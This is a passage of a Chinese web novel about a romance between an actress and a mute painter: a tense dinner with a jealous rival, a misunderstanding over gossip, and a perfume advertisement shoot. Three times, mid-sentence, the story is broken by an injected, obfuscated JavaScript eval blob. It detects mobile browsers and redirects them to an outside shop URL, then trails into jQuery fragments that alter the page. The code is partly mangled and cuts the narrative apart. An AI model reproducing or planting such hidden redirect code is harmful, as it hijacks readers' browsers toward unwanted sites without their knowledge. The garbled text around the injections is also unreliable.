“他说,他之前久仰你的大名,很遗憾当年水平不足,没能签约你的画廊。”秋千舒微笑翻译,也不管是不是这个意思,反正信达雅。 霍向明信不了一点。 江时舟现在所在的画廊,可不比他的画廊差。 当初,秋千舒找他的时候,他还以为只是同名同姓,毕竟江画家的作品在市场上还挺畅销的,不缺买主。 霍向明勾了下唇:“是这个意思吗?江画家还是太谦虚了。” 他不是!他不谦虚!江时舟咬牙切齿。 他还想表达不满,就被秋千舒一把抓住胳膊,狠狠地掐着他,警告他老实点。 而后,秋千舒又微笑着面对霍向明:“我们先坐下吧。” 霍向明帮秋千舒拉椅子,顺势就坐到她的身边,然后一脸笑意地看向没他眼疾手快的江时舟,指示这对面的椅子,“江画家,坐。” 一个位置而已,又不能说明什么! 江时舟觉得他的心理年龄比自己还小,不然怎么会这么幼稚。 霍向明喜欢吃法餐,经常出入这家餐厅,他很主动地帮忙点起了菜品,在选择主食时,还和秋千舒聊了起来。 “还记得我们第一次见面,你说你觉得法餐不好吃,我还和你吵了起来。后来,我请你来这里吃法餐,你被油封鸭惊艳到的表情,我到现在还记得……” 秋千舒笑了笑,她那是不好意思讲自己吃了太多难吃的前菜,在那里又饿又饱,最后吃到一个符合她口味的主食时,自然就震惊得不得了。 每个人的口味不一样,都是高热量的食物,她还是更喜欢火锅和麻辣烫。 “当时真的有被打脸到,虽然很不想承认,但那个确实好吃。” “所以还是油封鸭吗?” “对,我比较喜欢吃那个。” 在点完他和秋千舒的主食后,霍向明终于想起来他们不是在约会,面前还有个江时舟。 “江画家吃什么?”霍向明问。 秋千舒快速抢答:“他和我一样。” 她这个过来人的真心建议,有些东西还是别尝试的好。 霍向明愣了一下,没再说什么,把菜单递给服务员,让对方把他放在这里的一瓶珍藏红酒也来拿。 “这就不用了吧。”秋千舒没想到霍向明会这么大方,那瓶红酒估计得要好几万。 霍向明偏头不知道在看谁,语气悠悠地道:“其实我对国画不是很了解,完全就是看在千舒你的面子上才来的。” 秋千舒捂嘴,“原来我的面子这么大。” 霍向明:“你在我这一直都是首选项。” “……” 听到这话的秋千舒尴尬地移开视线,她当然知道霍向明对她有意思,她之前也已经拒绝过他了。 但是,她没想到他居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914524|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然当着江时舟的面说这件事。 眼睛都不知道往哪里放了,秋千舒盯着包间的大门,不想看旁边的霍向明,也不敢看对面的江时舟。 她还是太怂,一时间都忘了她和江时舟已经不是恋人。 就算有人当着他的面跪下来和她求婚,他也没有恼火的理由。 事实上,江时舟也没什么特别反应。 他被霍向明绵里藏针的话术刺了不知道多少下,已经麻木了,以至于被贴脸开大,都没什么痛感。 秋千舒那么优秀,有几个高质量爱慕者,太正常不过了。 他只是个过客,承蒙她的关照,出现在这里,又有什么资格评判她的那些爱慕者呢? 更何况他还不能说话,就算想阴阳怪气一下,都要被秋千舒的信达雅翻译美化成恭维的意思。 还是别打手语了。 容易被翻译气死。 “千舒和我说了你之后,我立刻就查了一下你之前的作品。”霍向明继续道。 一个常年混迹上流社交圈的商人,面对颇有竞争力的情敌时,自然是每一次开口都没有什么好事。 如果直接上手扯头花,也是一种绅士输出不满情绪行为的话,他也不想和哑巴在餐桌上无形斗殴,而是已经上手扭打成一片了。 “你的作品很好,也很叫卖。不过,你的经纪人更有实力,把你捧到了一个很高的地位上,我是做不到她那个水平。” 霍向明有幸和那位精明的女人打过交道,对方从骨子里透露出来的冷血无情,让他还以为她的家境已经达到了不需要应酬就能获得钞票的地步。 后来他从他的老朋友那再次遇见她,才知道不过是一位“苏妲己”。 霍向明指节扣在红酒杯柄上,唇线渐渐拉直,“我不喜欢拿艺术家身体上的残疾当卖点,大肆宣传,那看起来太不仁不义。虽然说,艺术家也需要市场营销,可能是我的道德水平比较高吧。” 江时舟平静地看着他,从头到尾都没有动一下餐盘里的东西。 方才霍向明的行为还可以当做是同性之间在好感异性面前的竞争,但是现在这些话,已经上升到对他的个人攻击。 虽然这些话也没什么大不了的。 为了多赚几个钱,炒作一下他不能说话的这个事实,又有什么关系呢? 他的经纪人曾经说过,哑巴又不是不举,只要不告诉别人,别人就不知道。他只要出门见人,别人就会知道他是个哑巴。 “霍先生是觉得今天的菜品不好吃吗?”秋千舒冷着脸丢下刀叉,滑入胃里的鹅肝又腥又油腻。 她不是傻子,听得出来霍向明话带刺,刚开始就话里有话,现在更是过分。过去二十多年,从来没有人敢当着她的面,讥讽江时舟是个哑巴。 他是第一个。 霍向明摆手,“可能确实没有我们两人一起的时候好吃吧。” “那你一个人吃应该会更加好吃。”秋千舒觉得自己当初一定是脑子有病才组这顿饭局,吃得令人恶心难受。 “呵。”霍向明不理解秋千舒为什么对一个哑巴钟爱有加,甚至不惜在餐桌上直接和他吵架;他握紧酒杯,一脸关心她、想要她清醒过来的神情,“我真怀疑你被骗了。” 而后,他又看向江时舟,毫不掩饰内心的鄙夷,“江画家最大的作品应该是陪知名女企业家林钰女士逛街的照片吧。你的经纪人在如何利用身体上位方面,应该传授了你不少知识。” 言语刺耳,耐心消之殆尽。 江时舟再也淡然不了,猛得起身,椅子脚和地板摩擦发出刺耳的声音。 霍向明见他终于有了波动,压抑着狂笑的表情,仰头看着这个破防的家伙,摊开手,好像在说,看吧,自己很轻松就取得了胜利。 秋千舒也盯着江时舟,眼里的情绪不明。但是这次,她抿着嘴,什么都没说。 像是无名物撞在鲜血淋淋的心上,疼到他都没有知觉了。 江时舟没有打手语,抄起手边的线圈本,写下一行字,撕下来放到霍向明面前的桌子上,转身离开了。 龙飞凤舞的字迹里,带着愤怒。 ——你羞辱我就算了,请不要羞辱我的经纪人。 8. 误会 包间外,秋千舒拽住一意孤行的江时舟。 训练有素的服务员推着手推车路过,见状立刻回避了他们,虽然仍忍不住往这边偷瞄。 “你不觉得你这样离开很过分吗?”不和她解释一下,就把她一个人留在那里。 江时舟回头看向她,走廊顶灯在他的侧脸投下棱角分明的阴影,周围寂静得只有他们的呼吸声。 他已经很理智了,理智到不能再理智了,但是他不能在听到别人羞辱他的同时,还连带着羞辱他的朋友,还能淡定地等她来救他,他不能一直理智。 更何况,他没那个自信,觉得无论对方讲什么,她都会信任他。 “难道不是他那么说话更过分吗?”激烈的情绪蔓延到手语中,江时舟终于忍不住,“你不应该带你的爱慕者来见我。” 一瞬间,秋千舒觉得自己真是脑子进水了。 她该明白的,这家伙根本不缺钱,就是故意在那里和她装可怜。 一直都是这样,从来没变过。 还先埋怨起她来了,秋千舒气自己糊涂。她抬头,憋着一口气,“明明你和那个什么女企业家更过分!” 他陪知名女企业家林钰女士逛街,甚至还被狗仔拍到了照片,好一个最出名的作品。秋千舒没耳背,没有办法当作没听见霍向明说的那些话。 可能只是普通的一次逛街,和普通的朋友。 但是,秋千舒很介意。 没有多少人知道她和他谈过恋爱,却有很多人知道他和那个女企业家的绯闻,甚至还有一起逛街的照片。 江时舟也不甘示弱,“你也和很多男演员炒作过。” 他甚至能一一列举出来。 见江时舟反过来责备她,秋千舒更是恼火了,“所有人都知道我那些绯闻都是假的,但是你呢!没有人知道那是假的!” “林是……”江时舟突然意识到自己还没解释,那个荒谬的绯闻。 秋千舒转头闭眼不看他,“我不想看你讲那个女人。” 江时舟:“……” “我今天不想和你吵架。”秋千舒深呼吸,她还没忘里面还有个人呢,那个害他们所有人都不愉快的罪魁祸首,“你先回去吧,我还有事。” * 当秋千舒站起来跑出去找江时舟的那一瞬间,霍向明突然觉得自己赢得也没那么光彩。 他确实很看不起江时舟的经纪人,连带着江时舟一起。 单论江时舟的作品,他还是很欣赏的,即便他不欣赏,也有的是同行的人欣赏。如果秋千舒没有那么维护江时舟的话,他可能也不会说出如此难听的话。 嫉妒,嫉妒会让人变成一个疯子。 偌大的包间里,只有霍向明一个人在用餐,红酒杯在他的手里晃动,酒香弥漫在空中,是上等的美酒与佳肴,但是却没人和他一起享受。 秋千舒说,他一个人会觉得这里的菜品更好吃,现在他可以用事实反驳她了。 门被推开,霍向明看向动静传来处。 他还以为她不回来了呢,至少他还有理由去找她,还她落在这里的包。 秋千舒面无表情地走到霍向明面前,拿走放在椅子上的自己的东西。 “我以前觉得你是个很值得交的朋友。”她说。 霍向明看到了她眼里的失望,“意思是,现在你觉得我不值得交了吗?” 秋千舒握紧手指,“是的。” “为什么?”霍向明不理解,“因为他?” 秋千舒摇头,点了点仍留在原地的江时舟写的那张字条,“你羞辱他就算了,为什么还羞辱他的经纪人?” 他对一个陌生女人无礼地羞辱,完全没考虑坐在他旁边的她的感受。 江时舟还能自证,秋千舒还能帮他反驳,但是江时舟的经纪人呢,她又不在这里。 莫名就被伤害了。 …… 这场饭局就这么草草地结束了。 没有赢家。 傍晚的A市到处都是带着倦意的行人,灯光在写字楼里蔓延,天色也越来越暗,高架桥上车辆不止,比起夕阳余晖,是那么的渺小。 便利店门口,几个穿着校服的中学生在那里吵闹着今天的趣闻乐事;秋千舒远远地看着,都觉得好青春。 她想起自己中学的时候,每天放学都是和江时舟一起回家,那时候的她沉迷打单机恐怖游戏,能滔滔不绝地讲一路。 江时舟很捧场,虽然他不玩,也听不懂那些游戏里的话术。 有一年她过生日,他送给了她一款新出的游戏机,爽到她逢人就炫耀,她爸妈不给她买,自有人给她买。 然后,游戏机的事就被她爸妈发现了。 她被迫给她家的菜园子浇水拔草一个月,得到了一笔劳动费,用来还江时舟的礼物。 秋千舒当然是水灵灵地买了一堆游戏卡带,送给江时舟。 虽然江时舟没有游戏机,但是她有。 某天,她躺在江时舟的床上打游戏,突然想起来自己一个月浇花拔草的不易,问江时舟哪来的那么多钱给她买游戏机。 江时舟告诉她,他在街头摆摊给人画像,靠着天生优势,赚了很多钱。 现在这想想,这简直是刻在DNA里的摆地摊基因呐。 二十几岁就拥有着长达十年的摆摊经验。 “秋千舒!”孔昭掂着便利店的购物袋,打开她的车门,一屁股坐到副驾驶上,“走了走了。我和我家那位说了,今晚在你那待会儿。” 秋千舒离开餐厅后就给孔昭打了电话,孔昭刚好加完班,准备打车回家,她这几天在搞什么项目,经常加班。 知道孔昭还在公司,秋千舒马不停蹄地就去接她了。 秋千舒没回她爸妈那,她自个有房子,因为买得有点大,她一个人住,总觉得空荡荡的,一点也不舒服,所以就不怎么爱住。 一般有什么事不想让她爸妈发现,她才会来这里。 秋千舒当年不懂那些弯弯绕绕,就知道手里有钱,要买最大最贵的房子,赚的第一桶金全都砸里面了,想着终于有独属于自己的窝了,结果还不如她的老窝。 不过,房子还是好房子,钱堆出来当然好了,现在也还挺值钱。 一坐到沙发上,孔昭就拿来了她的平板电脑,打算继续肝她的工作,“你说你的,我还有点工作没处理完。” 秋千舒看她丝滑地打开平板电脑,在电脑开机的片刻,端起茶几上的水壶,给自己倒了杯水,震撼得不知道该说些什么。 她起身去厨房烧了点热水,把孔昭杯子里的凉水换成了温的,然后卧回沙发,说起今天的事来。 客厅里,秋千舒激情澎湃、手脚并用地比划着当时的场景,孔昭坐在小凳子上,飞速地敲着键盘,修改着明天要用的文件。 在听完秋千舒曲折的故事后,孔昭放下手里已完成的工作,不可思议地看向她,“不是,你……” 一时不知道该如何组织语言,孔昭拿起茶几上的玻璃杯,抿了一小口,“你不会以为你和江时舟是在cos分手,但其实你们没有分手吧?” “我知道,但是……” 好吧,秋千舒也觉得这简直是离谱给离谱开门,离谱到家了。 孔昭顺了顺秋千舒要炸气的头发,“其实这也不是什么大事,毕竟你俩都很逆天,又不是只你一个逆天。” “我现在好难过。”秋千舒仰天长叹,双手耷拉在沙发上,有气无力地看着花白的天花板,“他居然和那个什么女企业家炒绯闻,我都没有和他传过绯闻。” “什么女企业家?”孔昭随口一问。 她关掉平板电脑上的文件,打开搜索引擎,输入“画家江时舟”。 秋千舒绞尽脑汁地回想那个女企业家的名字,“好像叫……林……与?” 当代互联网上,什么东西都能搜到;虽然搜索引擎上关于江时舟的信息不多,但已经够用了。 “你是不是分手后从来没关注过江时舟啊?”孔昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914525|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单翻了一下网络上江时舟的个人介绍,鼠标停留在人物关系那一栏。 秋千舒不知道孔昭为什么会这么问她,虽然她确实分手后没再关注过江时舟,“哪有分手了还关注前任动向的啊,我能忍住不把他的各种社交账号删除就不错了!” 要是分手了还整天关注前任这些那些的,真的很丢人诶。 她为了防止自己关注江时舟,和他的社交账号都设置成了仅聊天。 “你居然忍得住!”孔昭赞叹。 她看秋千舒这样,还以为她会很没有出息地天天在网上搜呢。 不过,要是天天在网上搜江时舟的话,估计也不会传个绯闻就醋成这样了。 孔昭把平板电脑放到茶几上,推给秋千舒看,“你说的那个女企业家,是不是林钰?” “啊,对!”秋千舒想起来。 “那是江时舟的亲小姨。” “……” 电脑里的人物关系上,清清楚楚地写着,林钰是江时舟的小姨,就是江时舟的妈妈和林钰是亲姐妹,等于林钰是江时舟外婆的女儿。 秋千舒盯着介绍里林钰的官方照片,越看越觉得眼熟,她小时候一定见过这个漂亮阿姨,就是不知道人家叫什么。 网上还能找到那张经典的江时舟陪林女士逛街的照片,狗仔拍得还挺唯美的,把林女士拍得很年轻,江时舟帮她拿包,扑面而来的亲昵。 可不得关系好嘛,大外甥和亲小姨。 照片传出去的时候,林钰刚好在打离婚官司,在网上闹得沸沸扬扬,风头正盛。狗仔爆料说江时舟是林钰的出轨对象,好多吃瓜网友还跑去林钰的社交媒体骂她。 后来,林钰亲自下场澄清了她和江时舟的关系。 但好事不出门,坏事传千里,到现在还有人觉得林钰当年出轨年轻英俊的画家,所以才和前夫离婚。 秋千舒合理推断,这完全就是一场林钰前夫制造的舆论攻击。 不然怎么会有狗仔拍这些无聊的东西,两个人加起来的流量还没她的零头多。 “真讨厌,拍他们,都不拍我。”秋千舒吐槽。 孔昭伸了个懒腰,替那些不愿意跟拍她的狗仔道:“真不怪狗仔不拍你,虽然流量大,但蹲不到什么炸裂新闻呐!” 还换她是狗仔,她肯定愿意蹲平时私生活就混乱的明星们,拍到就赚到,不管是发网上还是私下和明星沟通,都能大赚一笔。 秋千舒这种天天在剧组,不是睡觉就是打游戏,还是战绩可查的那种。狗仔造谣个时间线,都能让她在游戏里找到不在场证明。 没行程的时候就跟她爸妈住在一起,她爸妈还是科研人员,偷拍她干什么,拍她在家怎么种菜浇地? 那真是该拍的不拍,不该拍的胡乱拍,每次都这样造谣。秋千舒非常不爽,又觉得自己冤枉江时舟了,心里有点过意不去。 她看向孔昭,眼神里充满期盼,虽然不知道怎么办,但她知道求助外援,“昭~你帮我想想办法呗。我因为这事,还凶了江时舟一顿……是不是不太好啊?” 孔昭扯了个笑容,非常敷衍地说道:“你误会他,这是他的事,关你什么事?装不知道,等他解释呗。” “啊……这真的没问题吗?”秋千舒怎么那么不信呢。 孔昭从便利店袋子里掏出一袋面包,一边吃,一边为秋千舒指点迷津:“不然,他就是不喜欢你,更不用纠结了。” 不愧是她的王牌军师,果然厉害。 秋千舒肯定地点了点头,要是她自己,她绝对想不出这么牛逼的计谋,可能就忍不住跑去跟江时舟说“对不起,我误会你了”。 虽然很丢面子,但也只是丢面子而已,自己确实是没给他解释的机会,没控制好情绪,生气上头了。 最后,孔昭的老公来接孔昭回家。 秋千舒特别舍不得,她还想着让孔昭陪她在这里睡觉,然而看着那位笑面虎先生,她又怂了,只敢拉着孔昭的手,让她到家了给她发消息。 9. 广告 “我听助理说,我外甥过来了,还以为我姐偷偷给我生了个新外甥。啧,稀奇啊!” 云盛大厦的顶层,羊皮高跟鞋踩在奢石地面发出清脆声响。林钰卷起快要掉下来衬衫袖,坐到真皮沙发上,看着对面那张和她姐很像,但又不太一样的脸。 桌子上的咖啡已经凉透了,香气消散只剩下浮动在表层的斑驳油脂,助理过来询问他是否需要换一杯,江时舟拒绝了。 他不怎么爱喝咖啡。 ——我想请你帮个忙。 江时舟敲出一行字,把手机递给林钰。 她就说这小子没事根本想不到她,更不要提主动来她公司找她,敢情是有事找她帮忙。 林钰放下手机,“什么忙?” ——你的个人香水品牌最近不是在找新的广告模特吗?我想向你推荐一个人。 林钰之前一直想创立一家香水品牌玩玩,去年十二月份才成立的工作室,打算今年四月份发布第一个产品系列,前几天还在拍摄推广广告。 因为是国风主题,江时舟就被迫拉去当什么视觉顾问,其实就是要他现场作画,顺便打杂布置一下场景。 没想到在拍摄过程中,模特耍大牌,迟到就算了,还各种不配合,拍摄时间超时了就怪江时舟不会说话,影响她的拍摄。 江时舟只是不会说话,又不是不会告状。 林钰知道后,果断把那个模特给换了。 临时再找模特还挺麻烦,有点流量的明星大都行程爆满,这几天根本来不及拍摄,素人的话又达不到宣传效果。 但作为云盛集团的老板,尽管只是自己出于个人爱好搞出来的香水品牌,还是有很多大牌艺人愿意零片酬拍摄广告,只求以后有机会能再合作。 工作室提供了十几个能空出来档期的艺人,目前林钰还在纠结到底选哪个。 “你要推荐谁?” ——秋千舒。 这个女演员原本就在她的候选名单里,人气不错,长得合她的意,听说业务能力很强,最近在休假,档期是肯定有的,就是费用有点高。 “流量小花,广告费可不低。”林钰故意道,眼底的笑意都要蔓延出来了。 她倒也不在乎钱,就是一个数字的事,但是江时舟主动来找她帮忙,稀罕的事啊,可不得狠狠地“敲诈勒索”一下。 江时舟知道他不可能在林钰手里空手套白狼,求人帮忙,怎么能没一点诚意呢。 ——你想要什么。 “上次我和我姐去你家,你不是做了一桌菜嘛,手艺不错。” 其实,林钰觉得也就那样,差不多的饭店做出来也是那个味,但是她姐当时可喜欢了,回来的时候差点没哭晕在她车上。 “我姐天天在医院还蛮辛苦的,你也给她送几次饭,让她高兴高兴。” 没想到会是这个要求,江时舟坐在那里,看着林钰,迟疑了很久。 他不是很想去医院,也不想让林巧的同事和患者家属见到他,那样会让林巧很尴尬。 江时舟很小的时候,有次放学没人来接他,他不知道江乘远的律所名字怎么写,就靠写字问路人一路走到了林巧的医院。 然而,没有任何用。 林巧见到他后,假装不认识他。 虽然后来,林巧解释说她当时太忙了。但是江时舟很清楚,她只是因为不想让别人知道,她有个不会说话的儿子,这样会显得她的医术不行。 他生病了从来没在林巧的医院看过病。 他爸爸的律所也从来没去过,江乘远直接就和他明说,他这样会让他在同事和客户面前很尴尬。 ——可以换个要求吗? ——她不会开心的。 江时舟打出两行字,期盼着林钰能提个其他要求,或者让他出资广告费,无论什么要求,应该都比这个要求容易让他接受。 “不可以。”林钰微笑起身,回绝了江时舟的期盼,把手机还给他,“我就这一个要求,你不答应的话,那这个忙我肯定帮不了。” 江时舟见林钰打算送客,拉住她的外套,在手机上快速打字。 ——你可以不要告诉秋千舒,是我推荐的她吗? “当然,就是你不要忘了明天给你妈妈送饭。她喜欢吃你做的那个红烧排骨,荤素搭配着,别太油腻;汤的话,她不喜欢喝甜的,你看着办吧……” 江时舟垂眼,听着林钰女士滔滔不绝地讲他妈妈的喜好和忌口,心里盘算着自己能不能找个人替他送饭。 * 秋千舒得知自己临时多了一个通告时,人是懵圈的。知道请她的金主是那位知名女企业家林钰时,脑子更是一团雾水。 工作室的沙发上,秋千舒趴在那里,已经听了快半个小时的来自她经纪人的唠叨。 “你知道林钰吗?云盛集团的董事长!她的助理居然给我打电话,说想邀请你为林钰个人香水品牌拍广告,而且还说,林钰看到你就好像看到了自己的灵感缪斯,广告模特非你不可。” “我老早就听说了林钰要搞自己的个人香水品牌,但是从来没想过去舔这个饼,主要是觉得你这个咖位,主动去争取一个初创香水品牌的推广,有点掉价。但是人主动来邀请我们诶!广告费也给得特别大方。” “前两天,我还听人八卦着。那个特别喜欢耍大牌的琪琪,她团队里有云盛的人脉,原本拍这个宣传广告的就是她。结果!她居然还敢耍大牌。广告都拍好了,人照样被换了。” “你到时候好好拍,再请工作人员喝杯咖啡,大方点。这次合作愉快了,下次林钰有什么好资源,或者打算进攻娱乐圈,肯定优先找我们合作。” …… 秋千舒咸鱼翻身,从趴在沙发上变成了躺在沙发上,侧头看着站在那里还没说完的经纪人,伸手从桌子上摸到一瓶矿泉水,拧开瓶盖喝了两口。 她不知道罗冉说了那么多,有没有觉得渴,反正她听那么久,都觉得自己要渴死了。 “姐,我觉得你这话有问题。” 秋千舒也是闲得没事了,才会去找她经纪人话里的漏洞。 “你刚说林钰的助理给你打电话,说我是林钰的灵感缪斯,广告模特非我莫属。但是你现在又说,这个宣传广告之前请的是琪琪,虽然她因为耍大牌被换掉了。” 什么非她莫属,分明就是下下下下策,可能原本都不在计划范围内。 罗冉听秋千舒挑了个最无关紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914526|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的事情讲,这么不上道,激动地双手插在腰上,红着张脸。 “说辞,说辞!这只是为了突出他们对你的重视,你懂不懂啊!” 因为说了太多的话,讲话时都有点口胡了。 “为什么是请我啊?”秋千舒难免有些疑惑,她最近休假,好多合作商都知道,也都识趣地没来找她。 林钰的这个操作实在有些奇怪。 要知道,一天前她才因为江时舟和林钰传绯闻而生气,甚至刚知道林钰是江时舟的小姨,还没找机会跟江时舟和好呢,那边人就来邀请她拍广告了。 真的很凑巧诶。 “可能人家就是觉得你业务能力好,毕竟刚合作了一个只知道耍大牌的艺人。” 罗冉一边说,还一边点头,一定是这个原因。 她对耍大牌的艺人真是痛恶至极! 秋千舒看她还沉浸在和林钰合作的喜悦当中,默默地闭上了嘴巴,不再发言。 一个广告而已,也不是很麻烦。 因为本来就是加急行程,秋千舒前天才得知,今天早上就被拉去拍摄了。 拍摄地点在林钰郊外的一处仿园林设计的私人别墅,好山好水好风景。 踏入私人别墅的瞬间抬头,就被园子里古色古香的建筑吸引。九曲回廊浮在粼粼波光之间,海棠空窗化作天然画框,将竹影木枝定格为一副水墨画。 同行的罗冉忍不住感叹了一句,好气派、好有钱,打几百年的工也买不了这么漂亮的园子。 这已经不是简单有钱的地步了,秋千舒看着一处又一处的美景,附和了一句,“我也舍不得买。” 这园子是观赏用的,没有任何居住价值,还要不停地花钱维护,买这玩意纯属有钱烧的,满足精神层面的需求。 她要是真喜欢看什么山水园林,去景点看也是一样的,门票也才三十不到。 秋千舒撇了撇嘴,还是她家的房子好,晚上饿了还能点外卖。这地方点外卖,加钱人家也不送。 厅堂里,林钰亲自到场建工,站在那里听广告导演讲述着他们的拍摄计划,因为已经有过一次经验了,他们只需要重复再拍摄一次即可,所以各种布置都非常有序。 对此,林钰非常满意。 秋千舒过来的时候,一眼就看到了站在工作人员中间的林钰,虽然对方很低调,穿着也很朴素,但身上独有的气质还是让她鹤立鸡群。 “我是不是迟到了?”秋千舒看到大家来得都比她早,连忙抓了抓旁边罗冉的袖子,紧张到不知道该做什么。 按照正常广告拍摄,秋千舒到得算早的了,毕竟场景的灯光都还没布置好,距离拍摄还有很长一段时间。 林钰看到秋千舒到了,止住摄影师的汇报,并示意助理把在后面布置场景的江时舟叫过来。 “千舒?”林钰弯着眼过来,“我可以这么叫你吧。” 秋千舒刚听到林钰这么叫她的时候,吓得心脏都快要跳出来,太亲昵了。 好在她的经纪人还在场,不至于让现场的气氛突然冷掉。 “可以,当然可以。”罗冉替她回答。 双方商业化地交谈了一会儿后,江时舟就从屏风后面出来了。 10. 认识 秋千舒原本还是杵在她经纪人旁边的小挂件,在罗冉和林钰谈话的时候,负责捧场,点头附和。 看到江时舟的时候,两眼都有光了。 “江时舟,你过来。”林钰察觉到秋千舒突然精神,也跟着她的视线回头,刚好就看到了江时舟,摆了摆手让他过来,“这是我外甥。” 林钰拉着江时舟的胳膊,特意对秋千舒补充道:“我亲姐姐的儿子。” 她知道了,她早就知道了…… 秋千舒朝江时舟笑了笑,纠结着该怎么打招呼。 “他是这次广告拍摄的视觉顾问,是个语障人士,如果有什么问题,还希望千舒你可以耐心一点。” 说者无心,听者有意。 林钰可能只是提醒一下秋千舒,不要像上一个被换掉的模特一样重蹈覆辙。但这话到秋千舒耳朵里就自动变成了,前天应该耐心一点,给人家解释机会的。 虽然她已经知道了,江时舟和林钰的绯闻有多荒谬。 “我们认识。”秋千舒开口。 在场的所有人都惊住了,包括江时舟。 罗冉是完全不清楚怎么回事,秋千舒认识的林钰外甥,这么强的关系网,她居然从来没有提过。 林钰也有点诧异,她还以为秋千舒会非常夸张地说自己和江时舟是关系很好的朋友,“认识”这个词,实在有点平庸。 江时舟惊讶,他没想到秋千舒居然愿意在那么多人面前说他们认识,还以为她会装作这是和他的第一次见面。 剩下的其他工作人员更是好奇,一个是哑巴富二代,另一个是当红小花,感觉是八竿子打不着的人,这里面肯定有故事。 “真的?”林钰夸张地感叹,又试探性地询问,“江时舟这孩子内敛得很,我都好奇你们怎么认识的了。” 讲十几年前她怎么哄骗江时舟去她家,秋千舒还挺不好意思的,虽然那是一个年少又可爱的故事。 秋千舒刚要开口说话,江时舟就点了点手机屏幕,终止了这个话题,示意林钰也看一下时间。 后边的化妆师还在那里焦急地等着,工作人员时不时朝这边看,纠结要不要上去打断他们的对话。 “那我先去化妆了。”秋千舒意会,不等林钰主动提,自己就和工作人员去化妆间了,罗冉也跟着去监督情况。 人离开后,林钰看了江时舟一眼,双手抱在一起,撇了撇嘴,道:“我可是按你说的说了,一个字都不差。” 她都觉得那话有毛病,她外甥肯定是她亲姐的儿子啊,像是论文水字数一样,多此一举的解释。 “你别忘了给我姐送饭。”林钰提醒他。 江时舟低头打字。 ——我知道。 林钰还有工作,没在这里待多久就会公司了,离开前还不忘再叮嘱江时舟,千万一定记得他答应的事情,有事记得联系她。 化妆间里,秋千舒坐在椅子上,仰头闭着眼睛,任由专业化妆师捣腾她的脸,对方拿着各种刷子,一边感叹秋千舒皮肤好,一边给她扑粉。 周围还有几个女员工在那里熨烫等会要用的衣服,整个化妆间人虽然很多,但每个人都有条不紊,忙着自己的工作。 秋千舒只要一睁眼,就能看见站在一旁无所事事的罗冉的死亡凝视,那眼神就差掐着她的脖子质问她,她和江时舟怎么一回事了。 好在这时候人多口杂,秋千舒可以假装不方便回答。 一直到试衣服,罗冉让其他人都先出去,自己和秋千舒对峙。 “你之前怎么没告诉过我,你认识林钰的外甥?” 秋千舒看着镜子里打扮得很漂亮的自己,和罗冉比了个手势,示意她帮她拉一下后面的拉链。 “不要把注意打在他身上。”她道。 好像随口一提,下一秒秋千舒继续美美地照镜子。 裙子很合适,不知道是不是按照她的尺码新准备的衣服,反正穿身上显得她整个人优雅又大方。 罗冉听秋千舒这么说,原本到嘴边的话又咽了回去。 换了个话题。 * 这个广告有个场景是秋千舒站在那里画窗外的景色,虽然不是她亲自画,但简单在宣纸上勾勒几笔,她都觉得好有难度。 尤其是在看到拍摄场地的江时舟提前画好的半成品时,总觉得她多添一笔就是在毁画。 红木桌上的宣纸被压在那里,秋千舒握着蘸了一点墨汁的毛笔,酝酿着情绪,迟迟没有敢下笔。 导演在这个时候喊停,问她为什么一动不动。 秋千舒很纠结地说出了自己的顾虑,“我不知道怎么画……” 而后又看向等着补救他那张画的江时舟,眼里全都是期盼,像是在祈祷他来救她。 她真的下笔没个轻重,本来就不会画,以前拍什么古装剧的时候,写字、画画之类的全都是手替,怎么敢让人看见她的小学鸡字体,很丢粉丝人的。 导演也看向江时舟,想着让这位专家来教一教秋千舒。 前几个场景秋千舒都没什么问题,镜头感也强,根本不需要多余的修饰,怎么拍都好看,基本上都是一遍过。 就是到这个片段,突然就不自信了。 可能就是不太敢吧,听说这姐字不好看,从来不在镜头下写字,画画可能也是一样的。 江时舟远远地打手语:“你就随便画两笔,不用担心没办法补救。” “那我拿笔的手势没有错吧。”秋千舒记得是这么拿的,以前蒋女士就是这么教的,“我可以在这里画吗?用这个笔可以吧。” 她指着宣纸上的很大一片空白,纠结在哪下笔,怎么下笔,能不能用她手里的这支笔。 “你要不过来先带我画一下?”秋千舒觉得这真是个好办法。 导演也觉得可以,反正这个还很充足,后面也没多少个镜头了。秋千舒前期拍得很快,现在想停一会儿,大家也都乐意。 刚好这个时候秋千舒的助理掂着给团队员工买的咖啡和点心,吆喝着所有人来拿。 众人就都默认休息,跑过去拿吃的了。 